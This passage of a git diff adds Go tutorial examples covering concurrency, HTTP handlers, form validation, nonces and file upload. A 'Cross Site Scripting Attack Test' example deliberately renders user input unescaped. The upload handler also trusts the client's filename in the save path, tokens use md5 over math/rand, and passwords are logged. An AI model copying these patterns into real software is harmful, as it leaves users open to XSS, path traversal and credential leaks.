"runtime" +) + +func say(s string) { + for i := 0; i < 5; i++ { + runtime.Gosched() + fmt.Println(s) + } +} + +func main() { + go say("world") // create a new goroutine + say("hello") // current goroutine +} diff --git a/fa/code/src/apps/ch.2.7/range_and_close_channel/main.go b/fa/code/src/apps/ch.2.7/range_and_close_channel/main.go new file mode 100644 index 000000000..ce2c4311b --- /dev/null +++ b/fa/code/src/apps/ch.2.7/range_and_close_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to close and interate through a channel +package main + +import ( + "fmt" +) + +func fibonacci(n int, c chan int) { + x, y := 1, 1 + for i := 0; i < n; i++ { + c <- x + x, y = y, x+y + } + close(c) +} + +func main() { + c := make(chan int, 10) + go fibonacci(cap(c), c) + for i := range c { + fmt.Println(i) + } +} diff --git a/fa/code/src/apps/ch.2.7/select_channel/main.go b/fa/code/src/apps/ch.2.7/select_channel/main.go new file mode 100644 index 000000000..50b237814 --- /dev/null +++ b/fa/code/src/apps/ch.2.7/select_channel/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to use `select` +package main + +import "fmt" + +func fibonacci(c, quit chan int) { + x, y := 1, 1 + for { + select { + case c <- x: + x, y = y, x+y + case <-quit: + fmt.Println("quit") + return + } + } +} + +func main() { + c := make(chan int) + quit := make(chan int) + go func() { + for i := 0; i < 10; i++ { + fmt.Println(<-c) + } + quit <- 0 + }() + fibonacci(c, quit) +} diff --git a/fa/code/src/apps/ch.2.7/timeout/main.go b/fa/code/src/apps/ch.2.7/timeout/main.go new file mode 100644 index 000000000..4e937dbb7 --- /dev/null +++ b/fa/code/src/apps/ch.2.7/timeout/main.go @@ -0,0 +1,27 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a timeout +package main + +import ( + "fmt" + "time" +) + + +func main() { + c := make(chan int) + o := make(chan bool) + go func() { + for { + select { + case v := <-c: + fmt.Println(v) + case <-time.After(5 * time.Second): + fmt.Println("timeout") + o <- true + break + } + } + }() + <-o +} diff --git a/fa/code/src/apps/ch.2.7/unbuffered_channel/main.go b/fa/code/src/apps/ch.2.7/unbuffered_channel/main.go new file mode 100644 index 000000000..455fd4ba7 --- /dev/null +++ b/fa/code/src/apps/ch.2.7/unbuffered_channel/main.go @@ -0,0 +1,24 @@ +// Example code for Chapter 2.7 from "Build Web Application with Golang" +// Purpose: Shows how to create and use a unbuffered channel +package main + +import "fmt" + +func sum(a []int, c chan int) { + total := 0 + for _, v := range a { + total += v + } + c <- total // send total to c +} + +func main() { + a := []int{7, 2, 8, -9, 4, 0} + + c := make(chan int) + go sum(a[:len(a)/2], c) + go sum(a[len(a)/2:], c) + x, y := <-c, <-c // receive from c + + fmt.Println(x, y, x+y) +} diff --git a/fa/code/src/apps/ch.3.2/main.go b/fa/code/src/apps/ch.3.2/main.go new file mode 100644 index 000000000..f8af3fdfd --- /dev/null +++ b/fa/code/src/apps/ch.3.2/main.go @@ -0,0 +1,31 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to acces the form values from the request +package main + +import ( + "fmt" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() // parse arguments, you have to call this by yourself + fmt.Println(r.Form) // print form information in server side + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // send data to client side +} + +func main() { + http.HandleFunc("/", sayhelloName) // set router + err := http.ListenAndServe(":9090", nil) // set listen port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/fa/code/src/apps/ch.3.4/main.go b/fa/code/src/apps/ch.3.4/main.go new file mode 100644 index 000000000..fb3a5c725 --- /dev/null +++ b/fa/code/src/apps/ch.3.4/main.go @@ -0,0 +1,30 @@ +// Example code for Chapter 3.4 from "Build Web Application with Golang" +// Purpose: Shows how to create a handler for `http.ListenAndServe()` +// Run `go run main.go` then access `http://localhost:9090` +package main + +import ( + "fmt" + "net/http" +) + +type MyMux struct { +} + +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} diff --git a/fa/code/src/apps/ch.4.1/login.gtpl b/fa/code/src/apps/ch.4.1/login.gtpl new file mode 100644 index 000000000..91cd50351 --- /dev/null +++ b/fa/code/src/apps/ch.4.1/login.gtpl @@ -0,0 +1,12 @@ + + + + + +
+ Username: + Password: + +
+ + diff --git a/fa/code/src/apps/ch.4.1/main.go b/fa/code/src/apps/ch.4.1/main.go new file mode 100644 index 000000000..04daedc10 --- /dev/null +++ b/fa/code/src/apps/ch.4.1/main.go @@ -0,0 +1,48 @@ +// Example code for Chapter 4.1 from "Build Web Application with Golang" +// Purpose: Shows how to create a simple login using a template +// Run: `go run main.go`, then access `http://localhost:9090` and `http://localhost:9090/login` +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } +} + +func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/fa/code/src/apps/ch.4.2/main.go b/fa/code/src/apps/ch.4.2/main.go new file mode 100644 index 000000000..63284146f --- /dev/null +++ b/fa/code/src/apps/ch.4.2/main.go @@ -0,0 +1,59 @@ +// Example code for Chapter 4.2 from "Build Web Application with Golang" +// Purpose: Shows how to perform server-side validation of user input from a form. +// Also shows to use multiple template files with predefined template names. +// Run `go run main.go` and then access http://localhost:9090 +package main + +import ( + "apps/ch.4.2/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost/" + PORT +) + +var t *template.Template + +type Links struct { + BadLinks [][2]string +} + +// invalid links to display for testing. +var links Links + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", links) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + p := validator.ProfilePage{&r.Form} + t.ExecuteTemplate(w, "submission", p.GetErrors()) +} + +// This function is called before main() +func init() { + // Note: we can reference the loaded templates by their defined name inside the template files. + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) + + list := make([][2]string, 2) + list[0] = [2]string{HOST_URL + "/checkprofile", "No data"} + list[1] = [2]string{HOST_URL + "/checkprofile?age=1&gender=guy&shirtsize=big", "Invalid options"} + links = Links{list} +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/fa/code/src/apps/ch.4.2/profile.gtpl b/fa/code/src/apps/ch.4.2/profile.gtpl new file mode 100644 index 000000000..2eca7a8fc --- /dev/null +++ b/fa/code/src/apps/ch.4.2/profile.gtpl @@ -0,0 +1,89 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ +
+

Invalid submissions

+
    {{range .BadLinks}} +
  1. {{index . 1}}
  2. + {{end}} +
+ + +{{end}} \ No newline at end of file diff --git a/fa/code/src/apps/ch.4.2/submission.gtpl b/fa/code/src/apps/ch.4.2/submission.gtpl new file mode 100644 index 000000000..fdeceed69 --- /dev/null +++ b/fa/code/src/apps/ch.4.2/submission.gtpl @@ -0,0 +1,16 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/fa/code/src/apps/ch.4.2/validator/main.go b/fa/code/src/apps/ch.4.2/validator/main.go new file mode 100644 index 000000000..351112314 --- /dev/null +++ b/fa/code/src/apps/ch.4.2/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/fa/code/src/apps/ch.4.3/index.gtpl b/fa/code/src/apps/ch.4.3/index.gtpl new file mode 100644 index 000000000..f8ac28fe0 --- /dev/null +++ b/fa/code/src/apps/ch.4.3/index.gtpl @@ -0,0 +1,28 @@ + + + +

Cross Site Scripting Attack Test

+ {{if .}} + Previous User Input:
+ +
{{.}}
+ {{end}} +
+ +
+ +
+ +
+ + + diff --git a/fa/code/src/apps/ch.4.3/main.go b/fa/code/src/apps/ch.4.3/main.go new file mode 100644 index 000000000..20b9d4544 --- /dev/null +++ b/fa/code/src/apps/ch.4.3/main.go @@ -0,0 +1,39 @@ +// Example code for Chapter 4.3 from "Build Web Application with Golang" +// Purpose: Shows how to properly escape input +package main + +import ( + "html/template" + "net/http" + textTemplate "text/template" +) + +var t *template.Template = template.Must(template.ParseFiles("index.gtpl")) + +func index(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + t.Execute(w, template.HTMLEscapeString(userInput)) + } else { + // Variables with type `template.HTML` are not escaped when passed to `.Execute()` + t.Execute(w, template.HTML(userInput)) + } +} +func templateHandler(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + userInput := r.Form.Get("userinput") + if 0 < len(r.Form.Get("escape")) { + // `html/template.Execute()` escapes input + t.Execute(w, userInput) + } else { + tt := textTemplate.Must(textTemplate.ParseFiles("index.gtpl")) + // `text/template.Execute()` doesn't escape input + tt.Execute(w, userInput) + } +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/template", templateHandler) + http.ListenAndServe(":9090", nil) +} diff --git a/fa/code/src/apps/ch.4.4/main.go b/fa/code/src/apps/ch.4.4/main.go new file mode 100644 index 000000000..280f7ef1c --- /dev/null +++ b/fa/code/src/apps/ch.4.4/main.go @@ -0,0 +1,54 @@ +// Example code for Chapter 3.2 from "Build Web Application with Golang" +// Purpose: Shows how to prevent duplicate submissions by using tokens +// Example code for Chapter 4.4 based off the code from Chapter 4.2 +// Run `go run main.go` then access http://localhost:9090 +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "html/template" + "log" + "net/http" +) + +const ( + PORT = "9090" + HOST_URL = "http://localhost/" + PORT +) + +var submissions nonce.Nonces +var t *template.Template + +func index(w http.ResponseWriter, r *http.Request) { + http.Redirect(w, r, HOST_URL+"/profile", http.StatusTemporaryRedirect) +} +func profileHandler(w http.ResponseWriter, r *http.Request) { + t.ExecuteTemplate(w, "profile", submissions.NewNonce()) +} +func checkProfile(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseForm() + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + p := validator.ProfilePage{&r.Form} + errs = p.GetErrors() + } + t.ExecuteTemplate(w, "submission", errs) +} +func init() { + submissions = nonce.New() + t = template.Must(template.ParseFiles("profile.gtpl", "submission.gtpl")) +} +func main() { + http.HandleFunc("/", index) + http.HandleFunc("/profile", profileHandler) + http.HandleFunc("/checkprofile", checkProfile) + + err := http.ListenAndServe(":"+PORT, nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } +} diff --git a/fa/code/src/apps/ch.4.4/nonce/main.go b/fa/code/src/apps/ch.4.4/nonce/main.go new file mode 100644 index 000000000..2e1663fef --- /dev/null +++ b/fa/code/src/apps/ch.4.4/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/fa/code/src/apps/ch.4.4/profile.gtpl b/fa/code/src/apps/ch.4.4/profile.gtpl new file mode 100644 index 000000000..348330865 --- /dev/null +++ b/fa/code/src/apps/ch.4.4/profile.gtpl @@ -0,0 +1,85 @@ +{{define "profile"}} + + + +

Profile Setup:

+
+
+
*User Name:
+
+
+
+
*Age:
+
+
+
+
*Email:
+
+
+
+
*Birth day:
+
+ +
+
+
+
Gender:
+
+ + + +
+
+
+
Siblings:
+
+ + +
+
+
+
Shirt Size:
+
+ +
+
+
+
Chinese Name:
+
+
+
+ *Required +
+ + +
+ + +{{end}} diff --git a/fa/code/src/apps/ch.4.4/submission.gtpl b/fa/code/src/apps/ch.4.4/submission.gtpl new file mode 100644 index 000000000..456ff6787 --- /dev/null +++ b/fa/code/src/apps/ch.4.4/submission.gtpl @@ -0,0 +1,17 @@ +{{define "submission"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + Profile successfully submitted.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} \ No newline at end of file diff --git a/fa/code/src/apps/ch.4.4/validator/main.go b/fa/code/src/apps/ch.4.4/validator/main.go new file mode 100644 index 000000000..351112314 --- /dev/null +++ b/fa/code/src/apps/ch.4.4/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 13 and 130 +func checkAge(str string) error { + age, err := strconv.Atoi(str) + if str == "" || err != nil { + return errors.New("Please enter a valid age.") + } + if age < 13 { + return errors.New("You must be at least 13 years of age to submit.") + } + if age > 130 { + return errors.New("You're too old to register, grandpa.") + } + return nil +} +func checkEmail(str string) error { + if m, err := regexp.MatchString(`^[^@]+@[^@]+$`, str); !m { + fmt.Println("err = ", err) + return errors.New("Please enter a valid email address.") + } + return nil +} + +// Checks if a valid date was passed. +func checkDate(str string) error { + _, err := time.Parse(mmddyyyyForm, str) + if err != nil { + _, err = time.Parse(yyyymmddForm, str) + } + if str == "" || err != nil { + return errors.New("Please enter a valid Date.") + } + return nil +} + +// Checks if the passed input is a known gender option +func checkGender(str string) error { + if str == "" { + return nil + } + siblings := []string{"m", "f", "na"} + if !isElementInSlice(str, siblings) { + return errors.New("Please select a valid gender.") + } + return nil +} + +// Check if all the values are known options. +func checkSibling(strs []string) error { + if strs == nil || len(strs) < 1 { + return nil + } + siblings := []string{"m", "f"} + if siblings != nil && !doSlicesIntersect(siblings, strs) { + return errors.New("Please select a valid sibling") + } + return nil +} + +// Checks if the shirt size is a known option. +func checkShirtSize(str string) error { + if str == "" { + return nil + } + shirts := []string{"s", "m", "l", "xl", "xxl"} + if !isElementInSlice(str, shirts) { + return errors.New("Please select a valid shirt size") + } + return nil +} diff --git a/fa/code/src/apps/ch.4.5/client_upload/main.go b/fa/code/src/apps/ch.4.5/client_upload/main.go new file mode 100644 index 000000000..5757cc774 --- /dev/null +++ b/fa/code/src/apps/ch.4.5/client_upload/main.go @@ -0,0 +1,46 @@ +package main + +import ( + "bytes" + "fmt" + "io" + "io/ioutil" + "mime/multipart" + "net/http" + "os" +) + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func postFile(filename string, targetUrl string) { + bodyBuf := &bytes.Buffer{} + bodyWriter := multipart.NewWriter(bodyBuf) + fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename) + checkError(err) + + fh, err := os.Open(filename) + checkError(err) + + _, err = io.Copy(fileWriter, fh) + checkError(err) + + contentType := bodyWriter.FormDataContentType() + bodyWriter.Close() + resp, err := http.Post(targetUrl, contentType, bodyBuf) + checkError(err) + + defer resp.Body.Close() + resp_body, err := ioutil.ReadAll(resp.Body) + checkError(err) + + fmt.Println(resp.Status) + fmt.Println(string(resp_body)) +} +func main() { + target_url := "http://localhost:9090/upload" + filename := "../file.txt" + postFile(filename, target_url) +} diff --git a/fa/code/src/apps/ch.4.5/index.gtpl b/fa/code/src/apps/ch.4.5/index.gtpl new file mode 100644 index 000000000..aa1149c68 --- /dev/null +++ b/fa/code/src/apps/ch.4.5/index.gtpl @@ -0,0 +1,15 @@ +{{define "index"}} + + + + Upload file + + +
+ + + +
+ + +{{end}} diff --git a/fa/code/src/apps/ch.4.5/main.go b/fa/code/src/apps/ch.4.5/main.go new file mode 100644 index 000000000..24591dcf8 --- /dev/null +++ b/fa/code/src/apps/ch.4.5/main.go @@ -0,0 +1,64 @@ +// Example code for Chapter 4.5 +// Purpose is to create a server to handle uploading files. +package main + +import ( + "apps/ch.4.4/nonce" + "apps/ch.4.4/validator" + "fmt" + "html/template" + "io" + "mime/multipart" + "net/http" + "os" +) + +const MiB_UNIT = 1 << 20 + +var t *template.Template +var submissions nonce.Nonces = nonce.New() + +func checkError(err error) { + if err != nil { + panic(err) + } +} +func indexHandler(w http.ResponseWriter, r *http.Request) { + err := t.ExecuteTemplate(w, "index", submissions.NewToken()) + checkError(err) +} +func uploadHandler(w http.ResponseWriter, r *http.Request) { + var errs validator.Errors + r.ParseMultipartForm(32 * MiB_UNIT) + token := r.Form.Get("token") + if err := submissions.CheckThenMarkToken(token); err != nil { + errs = validator.Errors{[]error{err}} + } else { + file, handler, err := r.FormFile("uploadfile") + checkError(err) + saveUpload(file, handler) + } + err := t.ExecuteTemplate(w, "upload", errs) + checkError(err) +} +func saveUpload(file multipart.File, handler *multipart.FileHeader) { + defer file.Close() + fmt.Printf("Uploaded file info: %#v", handler.Header) + localFilename := fmt.Sprintf("./uploads/%v.%v", handler.Filename, submissions.NewToken()) + f, err := os.OpenFile(localFilename, os.O_WRONLY|os.O_CREATE, 0666) + checkError(err) + defer f.Close() + _, err = io.Copy(f, file) + checkError(err) +} +func init() { + var err error + t, err = template.ParseFiles("index.gtpl", "upload.gtpl") + checkError(err) +} +func main() { + http.HandleFunc("/", indexHandler) + http.HandleFunc("/upload", uploadHandler) + err := http.ListenAndServe(":9090", nil) + checkError(err) +} diff --git a/fa/code/src/apps/ch.4.5/nonce/main.go b/fa/code/src/apps/ch.4.5/nonce/main.go new file mode 100644 index 000000000..2e1663fef --- /dev/null +++ b/fa/code/src/apps/ch.4.5/nonce/main.go @@ -0,0 +1,70 @@ +// A nonce is a number or string used only once. +// This is useful for generating a unique token for login pages to prevent duplicate submissions. +package nonce + +import ( + "crypto/md5" + "errors" + "fmt" + "io" + "math/rand" + "strconv" + "time" +) + +// Contains a unique token +type Nonce struct { + Token string +} + +// Keeps track of marked/used tokens +type Nonces struct { + hashs map[string]bool +} + +func New() Nonces { + return Nonces{make(map[string]bool)} +} +func (n *Nonces) NewNonce() Nonce { + return Nonce{n.NewToken()} +} + +// Returns a new unique token +func (n *Nonces) NewToken() string { + t := createToken() + for n.HasToken(t) { + t = createToken() + } + return t +} + +// Checks if token has been marked. +func (n *Nonces) HasToken(token string) bool { + return n.hashs[token] == true +} +func (n *Nonces) MarkToken(token string) { + n.hashs[token] = true +} +func (n *Nonces) CheckToken(token string) error { + if token == "" { + return errors.New("No token supplied") + } + if n.HasToken(token) { + return errors.New("Duplicate submission.") + } + return nil +} +func (n *Nonces) CheckThenMarkToken(token string) error { + defer n.MarkToken(token) + if err := n.CheckToken(token); err != nil { + return err + } + return nil +} +func createToken() string { + h := md5.New() + now := time.Now().Unix() + io.WriteString(h, strconv.FormatInt(now, 10)) + io.WriteString(h, strconv.FormatInt(rand.Int63(), 10)) + return fmt.Sprintf("%x", h.Sum(nil)) +} diff --git a/fa/code/src/apps/ch.4.5/upload.gtpl b/fa/code/src/apps/ch.4.5/upload.gtpl new file mode 100644 index 000000000..4c55c5c54 --- /dev/null +++ b/fa/code/src/apps/ch.4.5/upload.gtpl @@ -0,0 +1,17 @@ +{{define "upload"}} + + + {{if .Errors}} +

Errors:

+
    + {{range .Errors}} +
  1. {{.}}
  2. + {{end}} +
+ {{else}} + File uploaded successfully.
+ Note: Refreshing the page will produce a duplicate entry. + {{end}} + + +{{end}} diff --git a/fa/code/src/apps/ch.4.5/validator/main.go b/fa/code/src/apps/ch.4.5/validator/main.go new file mode 100644 index 000000000..351112314 --- /dev/null +++ b/fa/code/src/apps/ch.4.5/validator/main.go @@ -0,0 +1,175 @@ +// This file contains all the validators to validate the profile page. +package validator + +import ( + "errors" + "fmt" + "net/url" + "regexp" + "strconv" + "strings" + "time" +) + +type ProfilePage struct { + Form *url.Values +} +type Errors struct { + Errors []error +} + +// Goes through the form object and validates each element. +// Attachs an error to the output if validation fails. +func (p *ProfilePage) GetErrors() Errors { + errs := make([]error, 0, 10) + if *p.Form == nil || len(*p.Form) < 1 { + errs = append(errs, errors.New("No data was received. Please submit from the profile page.")) + } + for name, val := range *p.Form { + if fn, ok := stringValidator[name]; ok { + if err := fn(strings.Join(val, "")); err != nil { + errs = append(errs, err) + } + } else { + if fn, ok := stringsValidator[name]; ok { + if err := fn(val); err != nil { + errs = append(errs, err) + } + } + } + } + return Errors{errs} +} + +const ( + // Used for parsing the time + mmddyyyyForm = "01/02/2006" // we want the date sent in this format + yyyymmddForm = "2006-01-02" // However, HTML5 pages send the date in this format +) + +var stringValidator map[string]func(string) error = map[string]func(string) error{ + // parameter name : validator reference + "age": checkAge, + "birthday": checkDate, + "chineseName": checkChineseName, + "email": checkEmail, + "gender": checkGender, + "shirtsize": checkShirtSize, + "username": checkUsername, +} +var stringsValidator map[string]func([]string) error = map[string]func([]string) error{ + // parameter name : validator reference + "sibling": checkSibling, +} + +// Returns true if slices have a common element +func doSlicesIntersect(s1, s2 []string) bool { + if s1 == nil || s2 == nil { + return false + } + for _, str := range s1 { + if isElementInSlice(str, s2) { + return true + } + } + return false +} +func isElementInSlice(str string, sl []string) bool { + if sl == nil || str == "" { + return false + } + for _, v := range sl { + if v == str { + return true + } + } + return false +} + +// Checks if all the characters are chinese characters. Won't check if empty.' +func checkChineseName(str string) error { + if str != "" { + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", strings.Trim(str, " ")); !m { + return errors.New("Please make sure that the chinese name only contains chinese characters.") + } + } + return nil +} + +// Checks if a user name exist. +func checkUsername(str string) error { + if strings.Trim(str, " ") == "" { + return errors.New("Please enter a username.") + } + return nil +} + +// Check if age is a number and between 